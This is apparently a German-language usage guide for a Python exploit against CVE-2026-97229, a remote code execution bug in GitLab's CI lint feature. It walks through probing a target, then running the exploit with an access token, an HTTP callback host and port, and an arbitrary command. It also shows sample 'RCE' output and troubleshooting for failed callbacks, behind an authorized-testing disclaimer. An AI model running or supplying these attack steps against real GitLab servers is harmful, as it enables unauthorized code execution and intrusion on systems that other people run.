
Python-Exploit für CVE-2026-97229, eine GitLab-CI-Lint-Regex-RCE. Erstellt ein Projekt, pusht eine bösartige CI-Konfiguration, löst den Lint-Endpunkt aus und ruft die Befehlsausgabe über einen HTTP-Callback ab.
CVE-2026-97229 ein externer Exploit für GitLab CI lint Regex RCE. Er wird ausschließlich gegen ein live GitLab-Ziel mit Genehmigung eingesetzt. Er erstellt ein Projekt, pusht eine bösartige CI-Konfiguration, löst den CI-lint-Endpunkt aus und empfängt die Befehlsausgabe über einen HTTP-Callback. Dies dient ausschließlich der autorisierten Sicherheitsforschung.
CVE-2026-97229 Extern – Nutzung auf eigene Verantwortung und nur für legales Testen
##Nur für Forschungszwecke. Nur auf eigenen Systemen oder Systemen verwenden, für die eine schriftliche Genehmigung vorliegt.
Dieses Tool ist ausschließlich für ein live GitLab-Ziel gedacht. Es funktioniert nicht bei einem toten Ziel, einem Backup oder einem nicht erreichbaren Host.
Voraussetzungen
Datei speichern
Speichern Sie den Exploit-Code als:
cve97229_ext.py
Scope-Datei erstellen
Wenn Ihr Ziel lautet:
https://gitlab.example.local
Erstellen Sie scope.txt:
echo "gitlab.example.local" > scope.txt
Schritt 1 – Ziel prüfen
Führen Sie aus:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Beispiel:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Gutes Ergebnis:
"gitlab_signal": true
Wenn die Version sichtbar ist, sehen Sie möglicherweise:
"version": "19.4.0"
Schritt 2 – Gegen live Ziel ausführen
Führen Sie aus:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Beispiel:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Ersetzen Sie:
GITLAB_TOKEN = Ihr GitLab-Token
YOUR_IP = die IP Ihres Rechners, die das Ziel erreichen kann
Ergebnis
Bei Erfolg sehen Sie:
"status": "RCE"
und eine Ausgabe wie:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Häufige Probleme
out-of-scope:
Korrigieren Sie scope.txt.
no-write-path:
Token fehlt oder ist ungültig.
known-patched:
Die Zielversion ist gepatcht.
no-callback:
Das Ziel konnte keine Verbindung zu Ihnen herstellen.
Prüfen Sie YOUR_IP, Firewall und Netzwerkzugriff.
Wichtig
Das Ziel muss live und erreichbar sein.